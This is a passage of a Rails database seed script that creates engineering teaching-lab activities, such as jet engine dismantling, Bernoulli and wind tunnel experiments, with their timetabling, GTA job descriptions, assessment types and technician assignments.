data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a105.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a105.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a105.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a106 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER302\").first.id, code: \"unknowncode1\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: false, in_drive: true, user_id: 5)\n at106 = ActivityTimetable.where(activity_id: a106.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"PUPS\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a106.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a106.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a106.id).first_or_create!(assess_weight: nil, notes: \"During - 3 build reviews, post - 1 flight review, operations manual & financial report, poster presentation & self assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 8)\n ActivityTech.where(activity_id: a106.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a106.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a107 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER385\").first.id, code: \"309\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: true, in_drive: true, user_id: 4)\n at107 = ActivityTimetable.where(activity_id: a107.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a107.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a107.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a107.id).first_or_create!(assess_weight: nil, notes: \"During, 2 reports and 1 presentation\n This is a semester long module with 3 assessment points in the course of the semester.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a107.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a107.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a108 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC205\").first.id, code: \"310\").first_or_create!(name: \"Jet engine strip down\",\n name_abrv: \"JETSTRIP\", archived: false, in_drive: true, user_id: 3)\n at108 = ActivityTimetable.where(activity_id: a108.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a108.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a108.id).first_or_create!(criteria: \"You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine. You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a108.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a108.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a108.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a109 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"311\").first_or_create!(name: \"Jet Engine Dismantling\",\n name_abrv: \"DISMANTLING\", archived: false, in_drive: true, user_id: 1)\n at109 = ActivityTimetable.where(activity_id: a109.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a109.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a109.id).first_or_create!(criteria: \"A knowledge of materials, manufacturing methods, or thermodynamics of jet engines would also be desirable in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a109.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a109.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a109.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a110 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"312\").first_or_create!(name: \"JETLAB\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 3)\n at110 = ActivityTimetable.where(activity_id: a110.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a110.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a110.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"In this lab, students operate a small jet engine and take thermodynamic measurements so that they can perform calculations of engine efficiency.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a110.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a110.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a110.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a111 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 2)\n at111 = ActivityTimetable.where(activity_id: a111.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a111.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a111.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a111.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a111.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a111.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a112 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: false, user_id: 5)\n at112 = ActivityTimetable.where(activity_id: a112.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a112.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybncc97l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a112.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a112.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a112.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a112.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a113 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 1)\n at113 = ActivityTimetable.where(activity_id: a113.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"For all of civ104: \n The plan next year is complete hydrostatic forces by the end of week 5, buoyance and metacenters by the end of week 6, any Bernoulli related lectures by end of week 8, we will start the momentum lectures in week 9, but will not have completed these by week 10, but the students have a field trip in week 11, so I think doing the impact of jets lab in week 10 shoul;d be fine.\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a113.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybmcc5xt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a113.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a113.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a113.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a113.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a114 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 4)\n at114 = ActivityTimetable.where(activity_id: a114.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a114.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a114.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a114.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a114.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a114.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a115 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 4)\n at115 = ActivityTimetable.where(activity_id: a115.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a115.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yasyk22s\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a115.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a115.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a115.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a115.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a116 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: false, user_id: 2)\n at116 = ActivityTimetable.where(activity_id: a116.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a116.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a116.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a116.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a116.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a116.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a117 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 3)\n at117 = ActivityTimetable.where(activity_id: a117.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a117.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycwo32oq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a117.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a117.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a117.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a117.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a118 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4750\").first.id, code: \"403\").first_or_create!(name: \"Coastal Engineering\",\n name_abrv: \"COASTAL\", archived: false, in_drive: true, user_id: 5)\n at118 = ActivityTimetable.where(activity_id: a118.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a118.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zrtczgr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a118.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a118.id).first_or_create!(assess_weight: nil, notes: \"Not our teaching - belongs to department\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a118.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a118.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a119 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"404\").first_or_create!(name: \"Custard Run\",\n name_abrv: \"CUSTARD\", archived: true, in_drive: true, user_id: 4)\n at119 = ActivityTimetable.where(activity_id: a119.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 360, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a119.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydy8uc9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a119.id).first_or_create!(criteria: \"Manual handling training.\",\n job_desc:\"Helping with the setup and running of the session. Students will be walking quickly over a Non-newtonian cornflour mixture in the lab. Students will need guiding across the pool. A lot of mixing and cleanup help will also be required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a119.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a119.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a119.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a120 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode2\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: true, in_drive: true, user_id: 1)\n at120 = ActivityTimetable.where(activity_id: a120.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a120.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a120.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a120.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a120.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a120.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a121 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: true, in_drive: true, user_id: 1)\n at121 = ActivityTimetable.where(activity_id: a121.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a121.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycl44ful\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a121.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a121.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a121.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a121.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a122 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: false, in_drive: true, user_id: 1)\n at122 = ActivityTimetable.where(activity_id: a122.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a122.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/hm7noqs\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a122.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a122.id).first_or_create!(assess_weight: nil, notes: \"Results are taken from the lab into a tutorial\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 2)\n ActivityTech.where(activity_id: a122.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a122.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a123 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 2)\n at123 = ActivityTimetable.where(activity_id: a123.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a123.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9hkvnrx\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a123.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a123.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a123.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a123.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a124 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at124 = ActivityTimetable.where(activity_id: a124.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Can be a self book, no need to timetablable\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a124.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/go6v2fl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a124.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: 